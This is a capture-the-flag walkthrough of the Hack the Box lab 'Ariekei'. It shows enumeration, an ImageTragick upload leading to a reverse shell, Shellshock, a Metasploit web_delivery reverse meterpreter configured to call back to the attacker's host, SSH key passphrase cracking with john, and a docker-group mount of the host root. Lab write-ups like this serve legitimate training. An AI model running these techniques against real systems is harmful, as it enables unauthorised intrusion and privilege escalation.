Hello friends! Today we are going to solve another CTF
challenge “Ariekei” which is available online for those who want to increase
their skill in penetration testing and black box testing. Ariekei is retired
vulnerable lab presented by Hack the Box for making online penetration
practices according to your experience level; they have the collection of
vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file
on victim’s machine.
Since these labs are online available therefore they
have static IP and IP of sense is 10.10.10.65 so let’s begin with nmap port
enumeration.
nmap
-sV -p- 10.10.10.65 –open
From given below image, you can observe we
found port 22, 443 and 1022 are open on target system.
As port 443 is running http
server we open the target machine’s ip address in our browser, we check the ssl
certificate and find 2 domain names: calvin.ariekei.htb
and beehive.ariekei.htb.
Now when we open the website we get a
webpage that has a message on it saying it was maintenance.
Now we add the two domain names we found in
the SSL certificate in /etc/hosts file for further enumeration.
When we open “calvin.ariekei.htb” we get an error message saying the requested
url is not found.
Now when we open “beehive.ariekei.htb” we get the same under maintenance page as we
did the first time we opened the target’s IP address in our browser.
Now we use dirb to enumerate
the directories running on target nginx server. We also find that using either
the IP address or the domain “beehive.arieki.htb”
gives us identical results.
The dirb scan shows that we access
/cgi-bin/stats directory on the target server, so we open the link provided by
the dirb scan. We find that it is running some shell script which might be
vulnerable to shellshock vulnerability.
When we try to exploit this
page using shellshock, we get an emoji which persists whenever we try to
exploit it. This may mean there is web application firewall that protects the
server from this attack.
dirb https://calvin.ariekei.htb/
Dirb scan shows us a directory named
“upload/”, we open the link and find an upload page.
This page looks like it converts one type
of image into another. This application maybe vulnerable to ImageTragick
vulnerability. So we create a mvg file to get reverse shell.
Now we upload the file on the server using
the upload page we found.
We setup our listener using netcat, as soon
as we upload the file we get our reverse shell.
We take a look at /proc/1/cgroup and find
that we are inside a docker container.
Now we take a look at the mounted files, and find a directory
called /common.
We open the “common/” directory and find a
secret directory called “.secrets/”. We take a look inside the content of the
directory and find files named “bastion_key” and “bastion_key.pub”.
We open the “bastion_key” and we find a RSA
key.
We copy the file into our system and save
it as id_rsa, so that we can use it to login using ssh.
We change the permissions of the key, and
login through ssh as root user using the RSA key.
chmod
600 id_rsa
ssh root@10.10.10.65 -p 1022
-i id_rsa
We again check if we are in
docker container or not. We check the /proc/1/cgroup file and find that we are
still in docker container.
We again go to the “common/” directory,
inside /containers/blog-test/ we find a few files and directories. One of the
file contained a few bash commands and also root user password.
Enumerating the rest of the
directories inside /common/containers/waf-live/ we find the configuration files
for the nginx server.
Now during
our dirb scan we found a directory called /cgi-bin/stats/
which could be vulnerable to shellshock but we were unable to exploit it
because of the web application firewall. As the waf-live is routing traffic
between us and blog-test on port 443 it is possible to exploit the shellshock
vulnerability from inside the server.
We know the target ip to be 172.24.0.2 form
the configuration file. We now need to find the IP address to docker system we
are in.
We use the shellshock exploit from here, and we got a
reverse shell of the machine.
The shell we got was not stable, so we use
web_delivery module of the metasploit-framework to get a stable reverse shell.
msf
> use multi/script/web_delivery
msf
exploit(multi/script/web_delivery) > set payload
python/meterpreter/reverse_tcp
msf
exploit(multi/script/web_delivery) > set lhost 10.10.14.8
msf
exploit(multi/script/web_delivery) > set lport 4444
msf
exploit(multi/script/web_delivery) > run
We copy the command that was given in by
the web_delivery script and pasted it in our unstable shell and we got our
stable reverse shell.
Now we spawn a TTY shell and use the
password we found earlier in the Dockerfile to login as root.
We search for hidden directories and find a
directory called “.ssh” we go inside the directory and find three files
authorized_keys, id_rsa and id_rsa.pub.
We copy the RSA key into our
system and save it as key.txt so that we can use this to login through ssh.
When we try to login through ssh using this
key, we are asked for a passphrase. So we use john the ripper to crack the
passphrase. We use the default wordlist of johntheripper and find the
passphrase to be “purple1”.
ssh2jon
key.txt > hash_key.txt
john
hash_key.txt
After we get the passphrase we change the
permission of RSA key file and login as user spanishdancer as it was inside the
spanishdancer’s home directory.
chmod
600 key.txt
ssh
-i key.txt spanishdancer@10.10.10.65
Now when we run the id command
we find that we are a member of docker group. Some containers have a dedicated group to allow unprivileged users to manage their
containers without having to escalate their privileges.
To exploit this vulnerability, we first
need to check the docker images that are available.
docker
images
We find that bash image is
available to us, so we use this to create a new image and mount the root/
directory of the host inside a folder called /hack. After we run the docker
image we go to /hack/root and find a file called “root.txt”. When we open the
file we find our final flag.
docker run -v /:/hack -i -t bash
